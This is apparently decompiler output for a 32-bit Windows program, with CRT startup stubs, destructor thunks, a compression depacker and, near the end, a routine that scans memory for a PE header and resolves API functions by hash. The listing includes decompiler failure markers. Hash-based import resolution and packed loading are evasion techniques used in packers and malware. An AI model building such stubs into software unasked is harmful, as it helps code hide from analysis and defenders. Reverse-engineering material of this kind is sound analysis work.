  word_4264D0 = __SS__;
  word_4264C4 = __CS__;
  word_4264A0 = __DS__;
  word_42649C = __ES__;
  word_426498 = __FS__;
  word_426494 = __GS__;
  __asm { pushf }
  dword_4264C8 = ST00_4_0;
  dword_4264BC =  s;
  dword_4264C0 =  r;
  dword_4264CC = (int)&a7;
  dword_426408 = 65537;
  dword_4263BC = dword_4264C0;
  dword_4263B0 = -1073740791;
  dword_4263B4 = 1;
  dword_426400 = ve30000(dword_426018, dword_42601C);
  crt_debugger_hook(1);
  dword_421038(v10);
  dword_42103C(&off_421270);
  if ( !dword_426400 )
  {
    crt_debugger_hook(1);
    v8 = v11;
  }
  v12 = ve30000(v8, -1073740791);
  __asm { into }
  return ve30000(v12);
}

//----- (0041DEA8) --------------------------------------------------------
int __stdcall sub_41DEA8(int a1, int a2, int a3, int (*a4)(void))
{
  int result; // eax@3
  char v5; // sf@2
  CPPEH_RECORD ms_exc; // [sp+1Ch] [bp-18h]@1

  ms_exc.disabled = 0;
  while ( 1 )
  {
    v5 = a3-- < 1;
    if ( v5 )
      break;
    a1 -= a2;
    result = a4();
  }
  return result;
}

//----- (0041DF06) --------------------------------------------------------
int __userpurge sub_41DF06<eax>(int a1<ebp>, int a2, int a3, int a4, int (__thiscall *a5)(_DWORD))
{
  int v5; // esi@1
  char v7; // sf@2
  int v8; // [sp+10h] [bp-1Ch]@1
  CPPEH_RECORD ms_exc; // [sp+14h] [bp-18h]@1

  v8 = 0;
  v5 = a3;
  a2 += a4 * a3;
  ms_exc.disabled = 0;
  while ( 1 )
  {
    v7 = a4-- < 1;
    if ( v7 )
      break;
    a2 -= v5;
    a5(a2);
  }
  return sub_41DF51(a1);
}

//----- (0041DF51) --------------------------------------------------------
int __usercall sub_41DF51<eax>(int a1<ebp>)
{
  int result; // eax@2

  if ( !*(_DWORD *)(a1 - 28) )
    result = sub_41DEA8(*(_DWORD *)(a1 + 8), *(_DWORD *)(a1 + 12), *(_DWORD *)(a1 + 16), *(int (**)(void))(a1 + 20));
  return result;
}

//----- (0041DFD9) --------------------------------------------------------
int __cdecl sub_41DFD9(int a1, int a2, int a3, int a4)
{
  return except_handler4_common(&dword_426018, sub_41D9E4, a1, a2, a3, a4);
}

//----- (0041DFFE) --------------------------------------------------------
int __stdcall sub_41DFFE(int a1)
{
  _DWORD *v1; // eax@1
  signed int v2; // eax@3

  v1 = *(_DWORD **)a1;
  if ( **(_DWORD **)a1 == -529697949 )
  {
    if ( *(v1 + 4) == 3 )
    {
      v2 = *(v1 + 5);
      if ( v2 == 429065504 || v2 == 429065505 || v2 == 429065506 || v2 == 26820608 )
        terminate();
    }
  }
  return 0;
}

//----- (0041E040) --------------------------------------------------------
int __fastcall sub_41E040(int a1)
{
  dword_421038(a1);
  return 0;
}

//----- (0041E054) --------------------------------------------------------
int *__cdecl sub_41E054()
{
  int *result; // eax@1
  int *i; // edi@1

  result = dword_4226DC;
  for ( i = dword_4226DC; i < dword_4226DC; ++i )
  {
    result = (int *)*i;
    if ( *i )
      result = (int *)((int (*)(void))result)();
  }
  return result;
}

//----- (0041E0B0) --------------------------------------------------------
bool __cdecl sub_41E0B0(int a1)
{
  bool result; // eax@2
  int v2; // eax@3

  if ( *(_WORD *)a1 != 23117 || (v2 = a1 + *(_DWORD *)(a1 + 60), *(_DWORD *)v2 != 17744) )
    result = 0;
  else
    result = *(_WORD *)(v2 + 24) == 267;
  return result;
}

//----- (0041E0F0) --------------------------------------------------------
int __cdecl sub_41E0F0(int a1, unsigned int a2)
{
  int result; // eax@1
  unsigned int v3; // edx@1
  unsigned int v4; // esi@1
  unsigned int v5; // ecx@2
  int v6; // ecx@1

  v6 = a1 + *(_DWORD *)(a1 + 60);
  v4 = *(_WORD *)(v6 + 6);
  v3 = 0;
  result = *(_WORD *)(v6 + 20) + v6 + 24;
  if ( v4 )
  {
    while ( 1 )
    {
      v5 = *(_DWORD *)(result + 12);
      if ( a2 >= v5 )
      {
        if ( a2 < v5 + *(_DWORD *)(result + 8) )
          break;
      }
      ++v3;
      result += 40;
      if ( v3 >= v4 )
        goto LABEL_5;
    }
  }
  else
  {
LABEL_5:
    result = 0;
  }
  return result;
}

//----- (0041E140) --------------------------------------------------------
unsigned int __usercall sub_41E140<eax>(int a1<eax>, int a2)
{
  int v2; // eax@2
  unsigned int result; // eax@3
  int (__cdecl *v4)(int, int, int, int); // [sp+Ch] [bp-Ch]@1
  int v5; // [sp+8h] [bp-10h]@1
  unsigned int v6; // [sp+10h] [bp-8h]@1
  int v7; // [sp-10h] [bp-28h]@1
  int *v8; // [sp+0h] [bp-18h]@1
  int v9; // [sp+14h] [bp-4h]@1

  v4 = sub_41DFD9;
  v5 = a1;
  v6 = dword_426018 ^ (unsigned int)dword_422768;
  v8 = &v7;
  v9 = 0;
  if ( sub_41E0B0(4194304) && (v2 = sub_41E0F0(4194304, a2 - 4194304), v2) )
    result = ~(unsigned __int8)(*(_DWORD *)(v2 + 36) >> 31) & 1;
  else
    result = 0;
  return result;
}

//----- (0041E208) --------------------------------------------------------
errno_t __cdecl sub_41E208()
{
  errno_t result; // eax@1

  result = controlfp_s(0, 0x10000u, 0x30000u);
  if ( result )
    result = invoke_watson(0, 0, 0, 0, 0);
  return result;
}

//----- (0041E230) --------------------------------------------------------
int __cdecl sub_41E230()
{
  return 0;
}

//----- (0041E233) --------------------------------------------------------
signed int __cdecl sub_41E233()
{
  signed int result; // eax@3
  signed int v1; // esi@4
  int v2; // eax@4
  int v3; // edx@4
  int v5; // esi@4
  int v6; // [sp+10h] [bp-8h]@1
  int v7; // [sp+14h] [bp-4h]@1
  int v8; // [sp+8h] [bp-10h]@4
  int v9; // [sp+Ch] [bp-Ch]@4

  v6 = 0;
  v7 = 0;
  if ( dword_426018 != -1153374642 && dword_426018 & 0xFFFF0000 )
  {
    result = ~dword_426018;
    dword_42601C = ~dword_426018;
  }
  else
  {
    ve30000(&v6);
    ve30000();
    v2 = ve30000();
    *(_BYTE *)v2 += v3++;
    vffff0000 += BYTE1(v3);
    __asm { lock lea eax, [ebp+var_10] }
    v5 = ve30000(_EAX);
    result = v8 ^ v9;
    v1 = v8 ^ v9 ^ v5;
    if ( v1 == -1153374641 )
    {
      v1 = -1153374641;
    }
    else
    {
      if ( !(v1 & 0xFFFF0000) )
      {
        result = (v1 | 0x4711) << 16;
        v1 |= result;
      }
    }
    dword_426018 = v1;
    dword_42601C = ~v1;
  }
  return result;
}

//----- (0041E310) --------------------------------------------------------
int __usercall sub_41E310<eax>(unsigned int a1<eax>)
{
  unsigned int v1; // eax@1
  unsigned int v2; // ecx@1
  int result; // eax@3
  int  r; // [sp+0h] [bp+0h]@1
  int v5; // [sp-4h] [bp-4h]@1

  v2 = -((unsigned int)& r >= a1) & (unsigned int)((char *)& r - a1);
  v1 = (unsigned int)&v5 & 0xFFFFF000;
  while ( v2 < v1 )
    v1 -= 4096;
  result =  r;
   r =  r;
  return result;
}

//----- (00420A20) --------------------------------------------------------
int __cdecl sub_420A20()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_42691C, (int)&v2, (int)&dword_426918, *(_DWORD *)dword_42691C, dword_42691C);
  return operator delete(dword_42691C);
}

//----- (00420A90) --------------------------------------------------------
int __cdecl sub_420A90()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_42693C, (int)&v2, (int)&dword_426938, *(_DWORD *)dword_42693C, dword_42693C);
  return operator delete(dword_42693C);
}

//----- (00420B00) --------------------------------------------------------
int __cdecl sub_420B00()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_4268CC, (int)&v2, (int)&dword_4268C8, *(_DWORD *)dword_4268CC, dword_4268CC);
  return operator delete(dword_4268CC);
}

//----- (00420B70) --------------------------------------------------------
int __cdecl sub_420B70()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_4268FC, (int)&v2, (int)&dword_4268F8, *(_DWORD *)dword_4268FC, dword_4268FC);
  return operator delete(dword_4268FC);
}

//----- (00420BE0) --------------------------------------------------------
int __cdecl sub_420BE0()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_42694C, (int)&v2, (int)&dword_426948, *(_DWORD *)dword_42694C, dword_42694C);
  return operator delete(dword_42694C);
}

//----- (00420C50) --------------------------------------------------------
int __cdecl sub_420C50()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_42690C, (int)&v2, (int)&dword_426908, *(_DWORD *)dword_42690C, dword_42690C);
  return operator delete(dword_42690C);
}

//----- (00420CC0) --------------------------------------------------------
int __cdecl sub_420CC0()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_42692C, (int)&v2, (int)&dword_426928, *(_DWORD *)dword_42692C, dword_42692C);
  return operator delete(dword_42692C);
}

//----- (00420D30) --------------------------------------------------------
int __cdecl sub_420D30()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_4268EC, (int)&v2, (int)&dword_4268E8, *(_DWORD *)dword_4268EC, dword_4268EC);
  return operator delete(dword_4268EC);
}

//----- (00420DA0) --------------------------------------------------------
int __cdecl sub_420DA0()
{
  int v1; // [sp+18h] [bp-4h]@1
  char v2; // [sp+Ch] [bp-10h]@1

  v1 = 0;
  sub_401A20(*(_DWORD *)dword_4268DC, (int)&v2, (int)&dword_4268D8, *(_DWORD *)dword_4268DC, dword_4268DC);
  return operator delete(dword_4268DC);
}

//----- (0042A0E9) --------------------------------------------------------
#error "42A0F2: positive sp value has been found (funcsize=4)"

//----- (0042A5E0) --------------------------------------------------------
__int64 __userpurge sub_42A5E0<edx:eax>(__int64 a1<edx:eax>, int a2<esi>, int a3, void *a4)
{
  char v4; // dl@1
  void *v5; // edi@1
  int v6; // esi@1
  __int64 v7; // ST08_8@1
  unsigned __int8 v8; // cf@3
  unsigned __int8 v9; // cf@6
  unsigned __int8 v10; // cf@9
  int v11; // eax@9
  unsigned __int8 v12; // cf@12
  char v13; // dl@12
  unsigned __int8 v14; // cf@14
  int v15; // eax@14
  char v16; // dl@14
  unsigned __int8 v17; // cf@16
  int v18; // eax@16
  char v19; // dl@16
  unsigned __int8 v20; // cf@18
  int v21; // eax@18
  int v22; // eax@20
  int v23; // eax@23
  unsigned __int8 v24; // cf@24
  char v25; // dl@24
  unsigned __int8 v26; // cf@26
  int v27; // eax@29
  unsigned int v28; // ecx@30
  unsigned __int8 v29; // cf@31
  char v30; // dl@31
  unsigned __int8 v31; // cf@33
  int v32; // eax@37
  unsigned int v33; // ecx@37
  unsigned __int8 v34; // cf@38
  char v35; // dl@38
  unsigned __int8 v36; // cf@40
  unsigned __int8 v37; // cf@49
  char v39; // al@2
  char v40; // zf@3
  char v41; // dl@4
  unsigned __int8 v42; // tt@4
  unsigned __int8 v43; // cf@4
  char v44; // dl@4
  char v45; // zf@6
  char v46; // dl@7
  unsigned __int8 v47; // tt@7
  unsigned __int8 v48; // cf@7
  char v49; // dl@7
  char v50; // zf@9
  char v51; // dl@10
  unsigned __int8 v52; // tt@10
  unsigned __int8 v53; // cf@10
  char v54; // dl@10
  char v55; // zf@12
  char v56; // dl@13
  unsigned __int8 v57; // tt@13
  unsigned __int8 v58; // cf@13
  char v59; // dl@13
  char v60; // zf@14
  char v61; // dl@15
  unsigned __int8 v62; // tt@15
  unsigned __int8 v63; // cf@15
  char v64; // dl@15
  char v65; // zf@16
  char v66; // dl@17
  unsigned __int8 v67; // tt@17
  unsigned __int8 v68; // cf@17
  char v69; // dl@17
  char v70; // zf@18
  char v71; // dl@19
  unsigned __int8 v72; // tt@19
  unsigned __int8 v73; // cf@19
  char v74; // dl@19
  char v75; // zf@24
  char v76; // dl@25
  unsigned __int8 v77; // tt@25
  unsigned __int8 v78; // cf@25
  char v79; // dl@25
  char v80; // zf@26
  char v81; // dl@27
  unsigned __int8 v82; // tt@27
  unsigned __int8 v83; // cf@27
  char v84; // dl@27
  char v85; // zf@31
  char v86; // dl@32
  unsigned __int8 v87; // tt@32
  unsigned __int8 v88; // cf@32
  char v89; // dl@32
  char v90; // zf@33
  char v91; // dl@34
  unsigned __int8 v92; // tt@34
  unsigned __int8 v93; // cf@34
  char v94; // dl@34
  char v95; // zf@38
  char v96; // dl@39
  unsigned __int8 v97; // tt@39
  unsigned __int8 v98; // cf@39
  char v99; // dl@39
  char v100; // zf@40
  char v101; // dl@41
  unsigned __int8 v102; // tt@41
  unsigned __int8 v103; // cf@41
  char v104; // dl@41
  unsigned int v105; // ecx@45
  unsigned int v106; // ecx@50
  int v107; // [sp+0h] [bp-4h]@1
  int  s; // [sp+4h] [bp+0h]@36

  v107 = a2;
  v7 = a1;
  v6 = a3;
  v5 = a4;
  v4 = -128;
LABEL_2:
  v39 = *(_BYTE *)v6++;
  *(_BYTE *)v5 = v39;
  v5 = (char *)v5 + 1;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        v8 = __MKCADD__(v4, v4);
        v40 = 2 * v4 == 0;
        v4 *= 2;
        if ( v40 )
        {
          v41 = *(_BYTE *)v6++;
          v42 = v8;
          v43 = __MKCADD__(v8, v41);
          v44 = v42 + v41;
          v8 = v43 | __MKCADD__(v44, v44);
          v4 = 2 * v44;
        }
        if ( !v8 )
          goto LABEL_2;
        v9 = __MKCADD__(v4, v4);
        v45 = 2 * v4 == 0;
        v4 *= 2;
        if ( v45 )
        {
          v46 = *(_BYTE *)v6++;
          v47 = v9;
          v48 = __MKCADD__(v9, v46);
          v49 = v47 + v46;
          v9 = v48 | __MKCADD__(v49, v49);
          v4 = 2 * v49;
        }
        if ( v9 )
          break;
        v23 = 1;
        do
        {
          v24 = __MKCADD__(v4, v4);
          v75 = 2 * v4 == 0;
          v25 = 2 * v4;
          if ( v75 )
          {
            v76 = *(_BYTE *)v6++;
            v77 = v24;
            v78 = __MKCADD__(v24, v76);
            v79 = v77 + v76;
            v24 = v78 | __MKCADD__(v79, v79);
            v25 = 2 * v79;
          }
          v23 = 2 * (v24 + v23);
          v26 = __MKCADD__(v25, v25);
          v80 = 2 * v25 == 0;
          v4 = 2 * v25;
          if ( v80 )
          {
            v81 = *(_BYTE *)v6++;
            v82 = v26;
            v83 = __MKCADD__(v26, v81);
            v84 = v82 + v81;
            v26 = v83 | __MKCADD__(v84, v84);
            v4 = 2 * v84;
          }
        }
        while ( v26 );
        v27 = v23 - 2;
        if ( v27 )
        {
          v32 = (v27 - 1) << 8;
          LOBYTE(v32) = *(_BYTE *)v6++;
          v33 = 1;
          do
          {
            v34 = __MKCADD__(v4, v4);
            v95 = 2 * v4 == 0;
            v35 = 2 * v4;
            if ( v95 )
            {
              v96 = *(_BYTE *)v6++;
              v97 = v34;
              v98 = __MKCADD__(v34, v96);
              v99 = v97 + v96;
              v34 = v98 | __MKCADD__(v99, v99);
              v35 = 2 * v99;
            }
            v33 = 2 * (v34 + v33);
            v36 = __MKCADD__(v35, v35);
            v100 = 2 * v35 == 0;
            v4 = 2 * v35;
            if ( v100 )
            {
              v101 = *(_BYTE *)v6++;
              v102 = v36;
              v103 = __MKCADD__(v36, v101);
              v104 = v102 + v101;
              v36 = v103 | __MKCADD__(v104, v104);
              v4 = 2 * v104;
            }
          }
          while ( v36 );
          if ( (unsigned int)v32 >= 0x7D00 )
          {
LABEL_47:
            v33 += 2;
LABEL_48:
            memcpy(v5, (char *)v5 - v32, v33);
            v5 = (char *)v5 + v33;
          }
          else
          {
            if ( (unsigned int)v32 < 0x500 )
            {
              if ( (unsigned int)v32 > 0x7F )
                goto LABEL_48;
              goto LABEL_47;
            }
            v105 = v33 + 1;
            memcpy(v5, (char *)v5 - v32, v105);
            v5 = (char *)v5 + v105;
          }
        }
        else
        {
          v28 = 1;
          do
          {
            v29 = __MKCADD__(v4, v4);
            v85 = 2 * v4 == 0;
            v30 = 2 * v4;
            if ( v85 )
            {
              v86 = *(_BYTE *)v6++;
              v87 = v29;
              v88 = __MKCADD__(v29, v86);
              v89 = v87 + v86;
              v29 = v88 | __MKCADD__(v89, v89);
              v30 = 2 * v89;
            }
            v28 = 2 * (v29 + v28);
            v31 = __MKCADD__(v30, v30);
            v90 = 2 * v30 == 0;
            v4 = 2 * v30;
            if ( v90 )
            {
              v91 = *(_BYTE *)v6++;
              v92 = v31;
              v93 = __MKCADD__(v31, v91);
              v94 = v92 + v91;
              v31 = v93 | __MKCADD__(v94, v94);
              v4 = 2 * v94;
            }
          }
          while ( v31 );
          memcpy(v5, (const void *)(v5 - & s), v28);
          v5 = (char *)v5 + v28;
        }
      }
      v11 = 0;
      v10 = __MKCADD__(v4, v4);
      v50 = 2 * v4 == 0;
      v4 *= 2;
      if ( v50 )
      {
        v51 = *(_BYTE *)v6++;
        v52 = v10;
        v53 = __MKCADD__(v10, v51);
        v54 = v52 + v51;
        v10 = v53 | __MKCADD__(v54, v54);
        v4 = 2 * v54;
      }
      if ( !v10 )
        break;
      v12 = __MKCADD__(v4, v4);
      v55 = 2 * v4 == 0;
      v13 = 2 * v4;
      if ( v55 )
      {
        v56 = *(_BYTE *)v6++;
        v57 = v12;
        v58 = __MKCADD__(v12, v56);
        v59 = v57 + v56;
        v12 = v58 | __MKCADD__(v59, v59);
        v13 = 2 * v59;
      }
      v15 = 2 * v12;
      v14 = __MKCADD__(v13, v13);
      v60 = 2 * v13 == 0;
      v16 = 2 * v13;
      if ( v60 )
      {
        v61 = *(_BYTE *)v6++;
        v62 = v14;
        v63 = __MKCADD__(v14, v61);
        v64 = v62 + v61;
        v14 = v63 | __MKCADD__(v64, v64);
        v16 = 2 * v64;
      }
      v18 = 2 * (v14 + v15);
      v17 = __MKCADD__(v16, v16);
      v65 = 2 * v16 == 0;
      v19 = 2 * v16;
      if ( v65 )
      {
        v66 = *(_BYTE *)v6++;
        v67 = v17;
        v68 = __MKCADD__(v17, v66);
        v69 = v67 + v66;
        v17 = v68 | __MKCADD__(v69, v69);
        v19 = 2 * v69;
      }
      v21 = 2 * (v17 + v18);
      v20 = __MKCADD__(v19, v19);
      v70 = 2 * v19 == 0;
      v4 = 2 * v19;
      if ( v70 )
      {
        v71 = *(_BYTE *)v6++;
        v72 = v20;
        v73 = __MKCADD__(v20, v71);
        v74 = v72 + v71;
        v20 = v73 | __MKCADD__(v74, v74);
        v4 = 2 * v74;
      }
      v22 = 2 * (v20 + v21);
      if ( v22 )
        LOBYTE(v22) = *((_BYTE *)v5 - v22);
      *(_BYTE *)v5 = v22;
      v5 = (char *)v5 + 1;
    }
    LOBYTE(v11) = *(_BYTE *)v6++;
    v37 = __MKCSHR__(v11, 1);
    LOBYTE(v11) = (_BYTE)v11 >> 1;
    if ( !(_BYTE)v11 )
      return v7;
    v106 = v37 + 2;
    memcpy(v5, (char *)v5 - v11, v106);
    v5 = (char *)v5 + v106;
  }
}

//----- (0042A721) --------------------------------------------------------
__int64 __usercall sub_42A721<edx:eax>(__int64 a1<edx:eax>, int a2<ebp>)
{
  __int64 v2; // qax@3
  int v3; // ebx@3
  int v4; // edi@3
  __int64 v5; // ST00_8@3
  int v7; // ebx@3
  int v8; // esi@4

  *(_DWORD *)&a1 = (a1 & 0xFFFF0000) + 65536;
  do
    *(_DWORD *)&a1 = (_DWORD)a1 - 65536;
  while ( *(_WORD *)a1 != 23117 );
  v5 = a1;
  *(_DWORD *)(a2 + 1016) = a1;
  *((_DWORD *)&v2 + 1) = a1;
  v7 = v2;
  *(_DWORD *)&v2 = *(_DWORD *)((_DWORD)v2 + 60) + (_DWORD)v2;
  *(_DWORD *)(a2 + 781) = *(_DWORD *)((_DWORD)v2 + 120) + v7;
  v3 = a2 + 972;
  v4 = a2 + 996;
  do
  {
    v8 = *(_DWORD *)v3;
    *(_DWORD *)(a2 + 892) = *(_DWORD *)v3;
    v2 = sub_42A772(v2, a2, v8);
    *(_DWORD *)v4 = v2;
    v4 += 4;
    v3 += 4;
  }
  while ( *(_DWORD *)v3 );
  return v5;
}

//----- (0042A772) --------------------------------------------------------
__int64 __usercall sub_42A772<edx:eax>(__int64 a1<edx:eax>, int a2<ebp>, int a3<esi>)
{
  int v3; // ecx@1
  __int64 v4; // ST00_8@1
  int v5; // ecx@2
  int v7; // [sp+0h] [bp-4h]@1

  v7 = a3;
  v4 = a1;
  v3 = *((_DWORD *)&a1 + 1) + *(_DWORD *)(*(_DWORD *)(a2 + 781) + 32);
  while ( sub_42A7B6(*((_DWORD *)&a1 + 1) + *(_DWORD *)v3) != 1238201806 )
    v3 = v5 + 4;
  return v4;
}

//----- (0042A7B6) --------------------------------------------------------
unsigned int __usercall sub_42A7B6<eax>(int a1<esi>)
{
  unsigned int v1; // edx@1
  unsigned __int8 v2; // al@2
  char v3; // al@3
  unsigned __int8 v5; // cf@4

  v1 = -1673845618;
  while ( 1 )
  {
    v2 = *(_BYTE *)a1++;
    if ( !v2 )
      break;
    LOBYTE(v1) = v2 ^ (_BYTE)v1;
    v3 = 8;
    do
    {
      v5 = __MKCSHR__(v1, 1);
      v1 >>= 1;
      if ( v5 )
        v1 ^= 0xC1A7F39Au;
      --v3;
    }
    while ( v3 );
  }
  return v1;
}

#error "There were 6 decompilation failure(s) on 372 function(s)"
